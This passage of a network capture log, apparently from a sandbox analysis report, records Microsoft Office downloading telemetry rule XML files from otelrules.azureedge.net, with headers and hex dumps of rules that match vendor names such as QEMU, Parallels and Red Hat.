2024-11-18 04:57:25 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:25 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:25 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: bbf47203-201e-003f-3a8e-376d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045725Z-1866b5c5fbbg9tvxhC1DFWy9mg000000018g000000000xy7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:25 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:25 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:25 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: f3ae074e-d01e-0082-62af-36e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045725Z-16547b76f7fkz9l7hC1DFW35uc00000002f0000000003g3k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:25 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:26 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:26 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:26 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: b301b02c-001e-0014-179f-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045726Z-16547b76f7fljddfhC1DFWeqbs000000064000000000ehua x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:26 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:26 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:26 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: ad4cd811-101e-0017-1d77-3847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045726Z-1866b5c5fbbfhwqqhC1DFW513800000004n000000000mcpa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 04:57:26 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:26 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:26 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 7acd991b-701e-000d-31ef-376de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045726Z-164f84587bfm8kdnhC1DFWey4g00000005cg00000000cr2q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:26 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:26 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:26 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 5267c52a-501e-007b-64a0-345ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045726Z-164f84587bfn7ppchC1DFW0meg00000004ng00000000fk75 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:26 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:26 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:26 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 4163e43d-001e-0049-7f9d-375bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045726Z-164f84587bfh9nvdhC1DFWmce000000003ag000000002c59 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:26 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:27 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:27 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:27 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: a5808a03-d01e-002b-349b-3825fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045727Z-16547b76f7f64d6whC1DFWf9vn00000003ug00000000hr1w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:27 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:27 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 200f6d4e-701e-003e-2fb8-3779b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045727Z-1866b5c5fbbqmbqjhC1DFWwgvc00000004y0000000002wdb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:27 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:27 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: d0d1667b-a01e-000d-1d09-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045727Z-16547b76f7fbkfmzhC1DFWm9tw00000004xg00000000dqm0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:27 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:27 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:27 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: c0db5769-f01e-0020-0591-37956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045727Z-164f84587bfsqsthhC1DFWh63000000004c000000000ha1v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:27 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:27 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
